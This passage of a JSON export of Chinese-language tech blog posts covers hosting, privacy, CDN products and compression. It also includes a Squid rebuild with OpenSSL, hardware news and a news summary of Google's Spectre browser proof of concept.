10, 2021</a></blockquote>\r\n\r\n除了重建外，現在應該是等後續看起火原因，理論上機房的消防設備應該要能擋下全毀... 等原因出來後，來看看是不是會改變整個機房產業的消防設計架構。",
    "title": "OVH 法國機房 SBG2 火災全毀"
  },
  {
    "id": "10059",
    "body": "在 <a href=\"https://www.plurk.com/\">Plurk</a> 上的<a href=\"https://www.plurk.com/p/o9f0af\">這篇</a>看到的，<a href=\"https://www.figma.com/\">Figma</a> 的 Free Starter Plan 縮減功能：「<a href=\"https://help.figma.com/hc/en-us/articles/360061769534\">Starter plan updates</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WZoKfQ4.webp\" /><img src=\"https://i.gslin.com/imgur/WZoKfQ4.png\" alt=\"\" /></picture>\r\n\r\n這步算是要使用者掏錢出來，進入養套殺裡「殺」的階段了。不過每個編輯者 USD$15/month 以價錢來說還好 (年繳的話還有一些折扣)，團隊大多數的 viewer 是不額外收費的。",
    "title": "Figma 限縮免費帳號的功能"
  },
  {
    "id": "10060",
    "body": "全美第二大的 <a href=\"https://en.wikipedia.org/wiki/T-Mobile_US\">T-Mobile US</a> 打算要賣使用者的瀏覽記錄了，除非你登入進去選擇退出：「<a href=\"https://www.wsj.com/articles/t-mobile-to-step-up-ad-targeting-of-cellphone-customers-11615285803\">T-Mobile to Step Up Ad Targeting of Cellphone Customers</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論則可以看「<a href=\"https://news.ycombinator.com/item?id=26403614\">T-Mobile to share customers' data with advertisers unless they opt out (thehill.com)</a>」這邊。\r\n\r\n<blockquote>The No. 2 U.S. carrier by subscribers said in a recent privacy-policy update that unless they opt out it will share customers’ web and mobile-app data with advertisers starting April 26.</blockquote>\r\n\r\n這次的改變包括了 2020 年併購 <a href=\"https://en.wikipedia.org/wiki/Sprint_Corporation\">Sprint</a> 的使用者：\r\n\r\n<blockquote>T-Mobile’s new policy will also cover Sprint customers acquired through the carriers’ 2020 merger. Sprint had previously shared similar data only from customers who opted into its third-party ad program.</blockquote>\r\n\r\n所以連在美國都有 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> (或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a>) 與 <a href=\"https://en.wikipedia.org/wiki/ESNI\">ESNI</a> 需求了...",
    "title": "T-Mobile US 打算要賣使用者的瀏覽記錄了"
  },
  {
    "id": "10062",
    "body": "沒介紹過 <a href=\"https://www.akamai.com/\">Akamai</a> 的一些架構，先講到 Akamai 的 Edge 端 Serverless 架構是 <a href=\"https://developer.akamai.com/akamai-edgeworkers-overview\">EdgeWorkers</a>，跑的是 JavaScript：\r\n\r\n<blockquote>EdgeWorkers lets developers just code — integrating into existing CI/CD workflows and enabling multiple teams to work in parallel using JavaScript. EdgeWorkers eliminates the hassle of managing compute resources and building for scale.</blockquote>\r\n\r\n然後這次推出的是 <a href=\"https://learn.akamai.com/en-us/webhelp/edgeworkers/edgekv-getting-started-guide/GUID-FA85D8AF-F277-4FD0-B789-17312DBD3DDE.html\">EdgeKV</a>，目前還在 Beta 版：「<a href=\"https://blogs.akamai.com/2021/03/serverless-storage-at-the-edge-edgekv-beta.html\">Serverless Storage at the Edge (EdgeKV Beta)</a>」。\r\n\r\n如同名字所說的，架構上 Key-Value 架構，放棄了 <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\">CAP theorem</a> 裡面的 C，改走 Eventual Consistency：\r\n\r\n<blockquote>EdgeKV uses what is known in distributing computing as an eventual consistency model to perform writes and updates. This model achieves high availability with low read latency by propagating data writes globally. The period of time it takes the system to distribute data globally is called the “inconsistency window”.</blockquote>\r\n\r\n隔壁 <a href=\"https://www.cloudflare.com/products/workers-kv/\">Cloudflare Workers KV</a> 也是 Eventual Consistency (出自「<a href=\"https://developers.cloudflare.com/workers/learning/how-kv-works\">How KV works</a>」這邊)：\r\n\r\n<blockquote>KV achieves this performance by being eventually-consistent. Changes are immediately visible in the edge location at which they're made, but may take up to 60 seconds to propagate to all other edge locations.</blockquote>\r\n\r\n看起來算是補上競爭對手的產品線...",
    "title": "Akamai 也推出了 Key-Value 服務 EdgeKV"
  },
  {
    "id": "10063",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2021/03/11/10057/%e6%9e%b6%e8%a8%ad-proxy-over-tls/\">架設 Proxy over TLS</a>」這邊提到了我用 <a href=\"http://www.squid-cache.org/\">Squid</a> 架 Proxy over TLS 的服務起來用，本來在家裡跑得好好的，但到了公司發現卻不能用，追蹤後發現是目前 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 裡面包的 Squid + <a href=\"https://www.gnutls.org/\">GnuTLS</a> 沒有辦法支援 intermediate certificate 的問題，而且有人問過了：「<a href=\"http://lists.squid-cache.org/pipermail/squid-users/2020-May/022180.html\">[squid-users] HTTPS_PORT AND SSL CERT</a>」。\r\n\r\n這邊先講測試的方法，然後後面再講解法。\r\n\r\n測試的方式可以用 <code>openssl s_client -connect hostname:port</code> 測，正常的情況會可以看到兩層。\r\n\r\n在這邊的例子裡，<code>R3</code> 簽了 <code>home.gslin.org</code>，<code>DST Root CA X3</code> 簽了 <code>R3</code>，而 <code>DST Root CA X3</code> 則在 root certificate 名單中：\r\n\r\n<pre>\r\n$ openssl s_client -connect home.gslin.org:443\r\ndepth=2 O = Digital Signature Trust Co., CN = DST Root CA X3\r\nverify return:1\r\ndepth=1 C = US, O = Let's Encrypt, CN = R3\r\nverify return:1\r\ndepth=0 CN = home.gslin.org\r\nverify return:1\r\nCONNECTED(00000003)\r\n---\r\nCertificate chain\r\n 0 s:CN = home.gslin.org\r\n   i:C = US, O = Let's Encrypt, CN = R3\r\n 1 s:C = US, O = Let's Encrypt, CN = R3\r\n   i:O = Digital Signature Trust Co., CN = DST Root CA X3\r\n---\r\n</pre>\r\n\r\n如果沒有送出 Intermediate Certificate 的話就會導致信任鏈無法建立，像是我故意設計的 <code>nointermediate.gslin.com</code> 這樣，<code>R3</code> 簽了 <code>nointermediate.gslin.com</code>，但 R3 並沒有在 root certificate 的名單中：\r\n\r\n<pre>\r\n$ openssl s_client -connect nointermediate.gslin.com:443\r\nCONNECTED(00000003)\r\ndepth=0 CN = nointermediate.gslin.com\r\nverify error:num=20:unable to get local issuer certificate\r\nverify return:1\r\ndepth=0 CN = nointermediate.gslin.com\r\nverify error:num=21:unable to verify the first certificate\r\nverify return:1\r\ndepth=0 CN = nointermediate.gslin.com\r\nverify return:1\r\n---\r\nCertificate chain\r\n 0 s:CN = nointermediate.gslin.com\r\n   i:C = US, O = Let's Encrypt, CN = R3                                \r\n---\r\n</pre>\r\n\r\n而想到的解法就是重新包一份 Squid 出來用，把本來的 <code>--with-gnutls</code> 改成 <code>--with-openssl</code>。\r\n\r\n這邊會先裝 <code>Build-Depends</code> 裡面指定的東西，然後加裝 <code>libssl-dev</code>，接著換掉 <code>--with-gnutls</code> 後編譯，最後產生 <code>.deb</code>：\r\n\r\n<pre>\r\nsudo apt install -y ed libltdl-dev pkg-config build-essential cdbs debhelper dpkg-dev lsb-release dh-apparmor libcppunit-dev libcap2-dev libdb-dev libecap3-dev libexpat1-dev libgnutls28-dev libkrb5-dev comerr-dev libldap2-dev libnetfilter-conntrack-dev libpam0g-dev libsasl2-dev libxml2-dev nettle-dev libssl-dev\r\napt-get source squid\r\ncd squid/squid-4.10\r\nsed -i -e 's/--with-gnutls/--with-openssl/' debian/rules\r\ncd ..\r\ndpkg-buildpackage -rfakeroot -uc -b\r\n</pre>\r\n\r\n編好的 <code>.deb</code> 就可以拿到其他機器上裝了，然後就可以吐出 intermediate certificate 了...",
    "title": "Squid + GnuTLS 不支援 Intermediate Certificate 的問題"
  },
  {
    "id": "10064",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.jkg.tw/\">jkgtw</a> 提到 <a href=\"https://lbry.tv/\">Lbry</a>/<a href=\"https://odysee.com/\">Odysee</a> 的速度快很多：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">最近 lbry / odysee 在台灣看的速度突然變超快！雖然還不像 Youtube 那樣一點就看，但是也相差不遠了，真讚～ ? <a href=\"https://t.co/W5qGZsJsck\">https://t.co/W5qGZsJsck</a></p>&mdash; Stephen  (@jkgtw) <a href=\"https://twitter.com/jkgtw/status/1370360171906527237?ref_src=twsrc%5Etfw\">March 12, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看了一下資料，<a href=\"https://www.hinet.net/\">HiNet</a> 到 <code>cdn.lbryplayer.xyz</code> 的 latency 增加了，但是 packet loss 改善了不少，看起來是把本來導去新加坡的流量改導去美國：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kJWxONz.webp\" /><img src=\"https://i.gslin.com/imgur/kJWxONz.png\" alt=\"\" /></picture>\r\n\r\n另外走 <a href=\"https://www.aptg.com.tw/\">APOL</a> 的 cable 這邊也有類似的情況，可以看出導去美國了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3UbmL68.webp\" /><img src=\"https://i.gslin.com/imgur/3UbmL68.png\" alt=\"\" /></picture>\r\n\r\n測了一下影片觀看速度，1.5x 可以看，2x 還是放不太動，的確是比以前好不少。",
    "title": "台灣看 Lbry/Odysee 的速度變快一些"
  },
  {
    "id": "10065",
    "body": "2018 年的時候寫過一篇 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在嘗試 <a href=\"https://www.arm.com/\">ARM</a> 伺服器的進展：「<a href=\"https://blog.gslin.org/archives/2018/03/23/8211/cloudflare-%E7%94%A8-arm-%E7%95%B6%E4%BC%BA%E6%9C%8D%E5%99%A8%E7%9A%84%E9%80%B2%E5%B1%95/\">Cloudflare 用 ARM 當伺服器的進展...</a>」，後來就沒有太多公開的消息，直到這幾天看到「<a href=\"https://blog.cloudflare.com/arms-race-ampere-altra-takes-on-aws-graviton2/\">ARMs Race: Ampere Altra takes on the AWS Graviton2</a>」才看到原因：\r\n\r\n<blockquote>By the time we completed porting our software stack to be compatible with ARM, Qualcomm decided to exit the server business.</blockquote>\r\n\r\n所以是都測差不多，也都把 Cloudflare 自家的軟體搬上去了，但 <a href=\"https://www.qualcomm.com/\">Qualcomm</a> 也決定收手，沒機器可以用...\r\n\r\n這次再次踏入 ARM 領域讓人想到前陣子 <a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://www.apple.com/mac/m1/\">M1</a>，讓大家看到 ARM 踏入桌機與筆電領域可以是什麼樣貌...\r\n\r\n這次 Cloudflare 選擇了 <a href=\"https://amperecomputing.com/altra/\">Ampere Altra</a>，這是基於 <a href=\"https://www.arm.com/products/silicon-ip-cpu/neoverse/neoverse-n1\">Neoverse N1</a> 的平台，而這個平台的另外一個知名公司就是 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/ec2/graviton/\">Graviton2</a>，所以就拿來比較：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xLEtb4g.webp\" /><img src=\"https://i.gslin.com/imgur/xLEtb4g.png\" alt=\"\" /></picture>\r\n\r\n可以看到 Ampere Altra 的核心數多了 25% (64 vs. 80)，運作頻率多了 20% (2.5Ghz vs. 3.0Ghz)。測試的結果也都有高有低，落在 10%～40% 都有。\r\n\r\n不過其中比較特別的是 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a> - 9 的測試特別差 (而且是 8 與 10 都正常的情況下)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Wbr6twI.webp\" /><img src=\"https://i.gslin.com/imgur/Wbr6twI.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gM3rn59.webp\" /><img src=\"https://i.gslin.com/imgur/gM3rn59.png\" alt=\"\" /></picture>\r\n\r\n依照 Cloudflare 的說法，他們其實不會用到 Brotli - 7 以及更高的等級，不過畢竟有測出來，還是花了時間找一下根本原因：\r\n\r\n<blockquote>Although we do not use Brotli level 7 and above when performing dynamic compression, we decided to investigate further.</blockquote>\r\n\r\n反追問題後發現跟 Page Faults 以及 Pipeline Backend Stalls 有關，不過是可以改寫避開，在避開後可以達到跟 Graviton2 類似的水準：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/344VzEQ.webp\" /><img src=\"https://i.gslin.com/imgur/344VzEQ.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>By analyzing our dataset further, we found the common underlying cause appeared to be the high number of page faults incurred at level 9. Ampere has demonstrated that by increasing the page size from 4K to 64K bytes, we can alleviate the bottleneck and bring the Ampere Altra at parity with the AWS Graviton2. We plan to experiment with large page sizes in the future as we continue to evaluate Altra.</blockquote>\r\n\r\n但目前看起來應該都還算正向，看起來供貨如果穩定的話，應該有機會換過去？畢竟 ARM 平台可以省下來的電力太多了，現在因為 M1 對 ARM 的公關效果太驚人的關係，解釋起來會更輕鬆...",
    "title": "Cloudflare 再次嘗試 ARM 伺服器"
  },
  {
    "id": "10066",
    "body": "<strong>Update</strong>：被朋友提醒在 2014 年的時候寫過了：「<a href=\"https://blog.gslin.org/archives/2014/01/29/4194/regular-expression-%E5%AD%97%E8%AC%8E%E9%81%8A%E6%88%B2/\">Regular Expression 字謎遊戲...</a>」。\r\n\r\n在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的填字遊戲，跟一般的填字遊戲不同的是，他的靠 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">Regular expression</a> 表達規則：「<a href=\"https://jimbly.github.io/regex-crossword/\">RegEx Crossword</a>」。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面的討論有教你怎麼算，不過建議先自己玩看看：「<a href=\"https://news.ycombinator.com/item?id=26439208\">RegEx Crossword (jimbly.github.io)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2YDOPaM.webp\" /><img src=\"https://i.gslin.com/imgur/2YDOPaM.png\" alt=\"\" /></picture>\r\n\r\n之前就有印象有看過，但用 Hacker News 上的搜尋引擎只翻到這次。跑到 <a href=\"https://github.com/\">GitHub</a> 上翻了一下他的 commit log，的確是個老遊戲了 XD\r\n\r\n好像可以推薦大學裡在教 <a href=\"https://en.wikipedia.org/wiki/Deterministic_finite_automaton\">DFA</a>/<a href=\"https://en.wikipedia.org/wiki/Nondeterministic_finite_automaton\">NFA</a>/RE 的時候可以帶出來？",
    "title": "Regular Expression 版本的填字遊戲"
  },
  {
    "id": "10068",
    "body": "從「<a href=\"https://www.ispreview.co.uk/index.php/2021/03/two-uk-broadband-isps-trial-new-internet-snooping-system.html\">Two UK Broadband ISPs Trial New Internet Snooping System</a>」這邊看到英國的 ISP 開始記錄使用者的連線資訊，簡化後的 log 樣子像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AId7gTw.webp\" /><img src=\"https://i.gslin.com/imgur/AId7gTw.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>Two unnamed broadband or mobile ISPs are reportedly helping the UK Home Office and the National Crime Agency (NCA) to trial a new internet snooping system on their customers, which is being conducted as part of the controversial 2016 UK Investigatory Powers Act (aka – snoopers charter).</blockquote>\r\n\r\n加上「<a href=\"https://blog.gslin.org/archives/2021/03/11/10060/t-mobile-us-%e6%89%93%e7%ae%97%e8%a6%81%e8%b3%a3%e4%bd%bf%e7%94%a8%e8%80%85%e7%9a%84%e7%80%8f%e8%a6%bd%e8%a8%98%e9%8c%84%e4%ba%86/\">T-Mobile US 打算要賣使用者的瀏覽記錄了</a>」這篇，繼續推廣 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTP</a>、<a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a>，以及 <a href=\"https://en.wikipedia.org/wiki/ECH\">ECH</a> (Encrypted Client Hello)。",
    "title": "英國的 ISP 開始記錄使用者的連線資訊"
  },
  {
    "id": "10069",
    "body": "看到「<a href=\"https://github.com/dolthub/dolt\">Dolt is Git for Data!</a>」這個專案，是個在本機上跑的 <a href=\"https://dev.mysql.com/\">MySQL</a> server，另外可以在上面的資料進行版本控制，看起來很適合本機開發測試。\r\n\r\n首先抓下來可以看到沒幾個檔案 (這是 linux-amd64 版)，也可以看到跟 <a href=\"https://git-scm.com/\">Git</a> 的關係：\r\n\r\n<pre>\r\n$ tree\r\n.\r\n├── bin\r\n│   ├── dolt\r\n│   ├── git-dolt\r\n│   └── git-dolt-smudge\r\n└── LICENSES\r\n</pre>\r\n\r\n然後用 <code>bin/dolt sql-server -P 3307 -u root -p passw0rd</code> 跑就可以把一個相容於 MySQL 的伺服器跑在 port 3307，然後用 <code>mysql -h 127.0.0.1 --port 3307 -u root -p</code> 就可以輸入密碼 <code>passw0rd</code> 登入進去：\r\n\r\n<pre>\r\n$ mysql -h 127.0.0.1 --port 3307 -u root -p\r\nEnter password:\r\nWelcome to the MySQL monitor.  Commands end with ; or \\g.\r\nYour MySQL connection id is 1\r\nServer version: 5.7.9-Vitess\r\n</pre>\r\n\r\n可以從 <code>Server version</code> 看到專案是用了 <a href=\"https://vitess.io/\">Vitess</a> 實做的 MySQL 界面。\r\n\r\n另外測了一下，透過連線所做的變更 (像是 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/creating-database.html\">CREATE DATABASE</a> 與 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/create-table.html\">CREATE TABLE</a>，以及 <a href=\"https://en.wikipedia.org/wiki/CRUD\">CRUD</a> 中的 CUD) 是不會寫回磁碟裡的，嘗試了不同的設定，不管改什麼都是這樣，應該是故意設計成這樣。\r\n\r\n在本機跑 test case 測試應該還不錯，會比 <a href=\"https://sqlite.org/\">SQLite</a> 的 <code>:memory:</code> 更接近 MySQL 一些，不過在 CI 裡的話應該是可以直接把 MySQL 跑起來...",
    "title": "Dolt，本機開發測試用的 MySQL server"
  },
  {
    "id": "10070",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://superuser.com/questions/1633073/why-are-tar-xz-files-15x-smaller-when-using-pythons-tar-library-compared-to-mac\">Why are tar.xz files 15x smaller when using Python's tar library compared to macOS tar?</a>」這篇，作者問了為什麼他用 <a href=\"https://www.python.org/\">Python</a> 的 <a href=\"https://docs.python.org/3/library/tarfile.html\">tarfile</a> 壓出來比起用 <a href=\"https://en.wikipedia.org/wiki/Tar_(computing)\">tar</a> 壓出來小了 15 倍，檔案都是 JSON 檔壓成 <a href=\"https://en.wikipedia.org/wiki/XZ_Utils\">XZ</a> 格式：\r\n\r\n<blockquote>I'm compressing ~1.3 GB folders each filled with 1440 JSON files and find that there's a 15-fold difference between using the tar command on macOS or Raspbian 10 (Buster) and using Python's built-in tarfile library.</blockquote>\r\n\r\n看到 1440 個檔案應該會有直覺是一分鐘一個檔案，跑一天的量...\r\n\r\n隔天他把原因找出來了，在裝了 <a href=\"https://www.gnu.org/software/tar/\">GNU Tar</a> 並且加上 <code>--sort='name'</code> 參數後，壓出來的大小就跟 Python 的 tarfile 差不多了：\r\n\r\n<blockquote>Ok, I think I found the issue: BSD tar and GNU tar without any sort options put the files in the archive in an undefined order.</blockquote>\r\n\r\n<blockquote>After installing GNU tar on my Mac with:\r\n\r\n<pre>brew install gnu-tar</pre>\r\n\r\nAnd then tarring the same folder, but with the --sort option:\r\n\r\n<pre>gtar --sort='name' -cJf zsh-archive-sorted.tar.xz /Users/user/Desktop/temp/tar/2021-03-11</pre>\r\n\r\nI get a .tar.xz archive of 1.5 MB, equal to the archive created by the Python library.</blockquote>\r\n\r\n底層的原因是檔名與檔案內容有正相關的相似度 (因為裡面都是 sensor 資料)，依照檔名排序壓縮就等於把類似的 JSON 檔案放在一起壓，使得 xz 可以利用這點急遽拉高壓縮率：\r\n\r\n<blockquote>My JSON files contain measurements from hundreds of sensors. Every minute I read out all sensors, but only a few of these sensors have a different value from minute to minute.\r\n\r\nBy sorting the files by name (which has the creation unixtime at the beginning of it), two subsequent files have very little different characters between them. Apparently this is very favourable for the compression efficiency.</blockquote>\r\n\r\n遇到類似的情境可以當作 tuning 的一種，測試看看會不會變小很多...",
    "title": "檔案壓縮順序造成壓縮率的差異"
  },
  {
    "id": "10071",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的產品 <a href=\"https://baserow.io/\">Baserow</a>，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論也有蠻多有趣的東西：「<a href=\"https://news.ycombinator.com/item?id=26448985\">Baserow.io – Self-hosted Airtable alternative (baserow.io)</a>」。\r\n\r\nBaserow 的後端是用 <a href=\"https://www.djangoproject.com/\">Django</a> 寫的，前端則主要是用 <a href=\"https://vuejs.org/\">Vue.js</a>。\r\n\r\n可以看到討論裡 Airtable 的問題，先不講定價問題，只講其他的部份... (因為就如同討論裡面有提到的，有可能是公司故意把定價策略訂成讓不願意花大錢的人使用)\r\n\r\n首先是每個月都有「穩定的 downtime」，不過這邊的描述到的數字明顯有問題，一個月當了七個小時也有 99% uptime (兩個九)。\r\n\r\n不過先撇開這點，付費服務一般都可以看到 99.9% 的 Monthly SLA (三個九，一個月只允許 43.2 分鐘)，這個情況的確是不太符合業界的標準：\r\n\r\n<blockquote>Reliable 1-5 hours a month of downtime. There are months where it's literally 1 nine of uptime. Their status page was actually down for a while (I think they forgot to renew it?)</blockquote>\r\n\r\n另外一個有很趣的是很奇耙的設計：\r\n\r\n<blockquote>Booleans in the API are `true` or `undefined`. Seriously.</blockquote>\r\n\r\n看起來要有蠻多背景知識才有可能知道為什麼這樣搞 XDDD\r\n\r\n先丟給 data team 看看，如果他們有興趣的話再找機會架起來...",
    "title": "Airtable 的 Open Source 替代方案 Baserow"
  },
  {
    "id": "10072",
    "body": "看到「<a href=\"https://www.pcgamer.com/gta-online-load-time-fix-released-shaves-off-actual-minutes-of-waiting-for-some/\">GTA Online load time fix released, shaves off actual minutes of waiting for some</a>」這邊的消息，先前在「<a href=\"https://blog.gslin.org/archives/2021/03/06/10040/gta-%e7%9a%84%e5%95%9f%e5%8b%95%e8%ae%80%e5%8f%96%e6%95%88%e8%83%bd%e5%95%8f%e9%a1%8c/\">GTA 的啟動讀取效能問題</a>」這邊提到 GTA Online 啟動速度很慢的問題，官方正式推出修正版本了：「<a href=\"https://support.rockstargames.com/articles/360061161574/GTAV-Title-Update-1-53-Notes-PS4-Xbox-One-PC\">GTAV Title Update 1.53 Notes (PS4 / Xbox One / PC)</a>」。\r\n\r\n抓了一些在 <a href=\"https://www.reddit.com/\">Reddit</a> 的討論「<a href=\"https://www.reddit.com/r/gtaonline/comments/m67ygl/loading_times_have_finally_been_patched/\">Loading Times Have FINALLY been patched - Discussion Thread</a>」。\r\n\r\n這則降的比率與當時 workaround 的修正差不多：\r\n\r\n<blockquote>Insane. GTA menu -> GTA: Online.\r\n\r\nDropped from 7 minutes to 1:57\r\n\r\ni7-2600k,GTX1070,16GB RAM and the game is on HDD.</blockquote>\r\n\r\n這個就有點誇張了，這是 90% 吧？\r\n\r\n<blockquote>Dropped from 5-8 minutes to 35 seconds</blockquote>\r\n\r\n這個差不多 70%～80%：\r\n\r\n<blockquote>Loading time 2m 20s for online directly from steam. Before it was like 8-10 minutes for me. Damn\r\n\r\nEdit: 50s for story mode. 35s from story mode to online. So it seems it's still faster to load into online from story mode.</blockquote>\r\n\r\n這個也差不多 70%：\r\n\r\n<blockquote>From 4-5 minutes to 1 a minute and 22 seconds. Y e s p l e a s e</blockquote>\r\n\r\n然後 PS4 的版本原來也受到一樣的影響？\r\n\r\n<blockquote>Currently tested on PS4 , from main menu to online : 3min 45 sec From story mode to online: 1min 20sec (? i can't tell for sure )</blockquote>\r\n\r\n整體看起來是正面的，畢竟大家等這個問題等超久了... 另外也可以看出來當初的 workaround patch 其實相當精準的把問題都解掉了，官方的修正並沒有快更多。\r\n\r\n來繼續關注 libc 那邊的問題...",
    "title": "GTA Online 釋出官方修正，大幅改善啟動效能"
  },
  {
    "id": "10073",
    "body": "看到「<a href=\"https://www.seeedstudio.com/Rapberry-Pi-CM4-Dual-GbE-Carrier-Board-p-4874.html\">Dual Gigabit Ethernet Carrier Board for Raspberry Pi Compute Module 4</a>」這個東西，一張可以接 <a href=\"https://www.raspberrypi.org/products/compute-module-4/\">Raspberry Pi Compute Module 4</a> 擴充的母卡。\r\n\r\n這張卡有兩個 <a href=\"https://en.wikipedia.org/wiki/Gigabit_Ethernet\">Gigabit Ethernet</a> (1Gbps)，以及兩個 USB 3.0 接口：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EYll7FP.webp\" /><img src=\"https://i.gslin.com/imgur/EYll7FP.png\" alt=\"\" /></picture>\r\n\r\n然後大家都想到類似的用途了，可以拿來當 router，還可以走 USB 拉出來，接個硬碟當個簡單的 <a href=\"https://en.wikipedia.org/wiki/Network-attached_storage\">NAS</a> 用用：\r\n\r\n<blockquote>The Dual Gigabit Carrier Board powered by Raspberry Pi Compute Module 4 is equipped with Dual Gigabit Ethernet ports and dual USB 3.0 ports, making it suitable for soft router applications, while keeping the hardware to minimal.</blockquote>\r\n\r\n不過無線網路的部份得自己搞，在買 RPi CM 4 的時候得選擇有無線網路的版本，母卡 (擴充卡) 本身不負責這塊業務。\r\n\r\n翻了一下資料，以前 <a href=\"https://www.raspberrypi.org/products/compute-module-3/\">CM3</a> (不是 <a href=\"https://www.raspberrypi.org/products/compute-module-3-plus/\">CM3+</a>) 也有廠商推出兩個網路孔的板子，不過當時是兩個 <a href=\"https://en.wikipedia.org/wiki/Fast_Ethernet\">Fast Ethernet</a> (100Mbps)：「<a href=\"https://www.cnx-software.com/2017/11/28/compulab-iot-gate-rpi-industrial-iot-computer-is-powered-by-raspberry-pi-cm3-module/\">Compulab IOT-GATE-RPi Industrial IoT Computer is Powered by Raspberry Pi CM3 Module</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uErj7tu.webp\" /><img src=\"https://i.gslin.com/imgur/uErj7tu.jpg\" alt=\"\" /></picture>\r\n\r\n這次推出的板子跑起 software router 效能不知道怎麼樣，單純就可玩性來看似乎是頗有趣東西？",
    "title": "雙 Gigabit Ethernet 的 RPi CM 4 擴充卡"
  },
  {
    "id": "10074",
    "body": "在大約三年前 (2018 年年初) 的時候，在讀完 <a href=\"https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)\">Spectre</a> 之後寫下了一些記錄：「<a href=\"https://blog.gslin.org/archives/2018/01/17/8050/%e8%ae%80%e6%9b%b8%e6%99%82%e9%96%93%ef%bc%9aspectre-%e7%9a%84%e6%94%bb%e6%93%8a%e6%96%b9%e5%bc%8f/\">讀書時間：Spectre 的攻擊方式</a>」，結果在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這邊看到消息，<a href=\"https://www.google.com/\">Google</a> 前幾天把把 PoC 放出來了：「<a href=\"https://www.schneier.com/blog/archives/2021/03/exploiting-spectre-over-the-internet.html\">Exploiting Spectre Over the Internet</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=26436515\">A Spectre proof-of-concept for a Spectre-proof web (googleblog.com)</a>」。\r\n\r\n首先是這個攻擊方法在目前的瀏覽器都還有用，而且包括 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 上都可以跑：\r\n\r\n<blockquote>The demonstration website can leak data at a speed of 1kB/s when running on Chrome 88 on an Intel Skylake CPU. Note that the code will likely require minor modifications to apply to other CPUs or browser versions; however, in our tests the attack was successful on several other processors, including the Apple M1 ARM CPU, without any major changes.</blockquote>\r\n\r\n即使目前的瀏覽器都已經把 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Performance/now\"><code>performance.now()</code></a> 改為 1ms 的精度，也還是可以達到 60 bytes/sec 的速度：\r\n\r\n<blockquote>While experimenting, we also developed other PoCs with different properties. Some examples include:\r\n<ul>\r\n\t<li>A PoC which can leak 8kB/s of data at a cost of reduced stability using performance.now() as a timer with 5μs precision.</li>\r\n\t<li>A PoC which leaks data at 60B/s using timers with a precision of 1ms or worse.</li>\r\n</ul>\r\n</blockquote>\r\n\r\n比較苦的消息是 Google 已經確認在軟體層沒辦法解乾淨，目前在瀏覽器上只能靠各種 isolation 降低風險，像是將不同站台跑在不同的 process 裡面：\r\n\r\n<blockquote>In 2019, the team responsible for V8, Chrome’s JavaScript engine, published a blog post and whitepaper concluding that such attacks can’t be reliably mitigated at the software level. Instead, robust solutions to these issues require security boundaries in applications such as web browsers to be aligned with low-level primitives, for example process-based isolation. </blockquote>\r\n\r\nApple M1 也中這件事情讓人比較意外一點，看起來是當初開發的時候沒評估？目前傳言的 M1x 與 M2 不知道會怎樣...",
    "title": "Google 釋出網頁版的 Spectre 攻擊 PoC，包括 Apple M1 在內"
  },
  {
    "id": "10076",
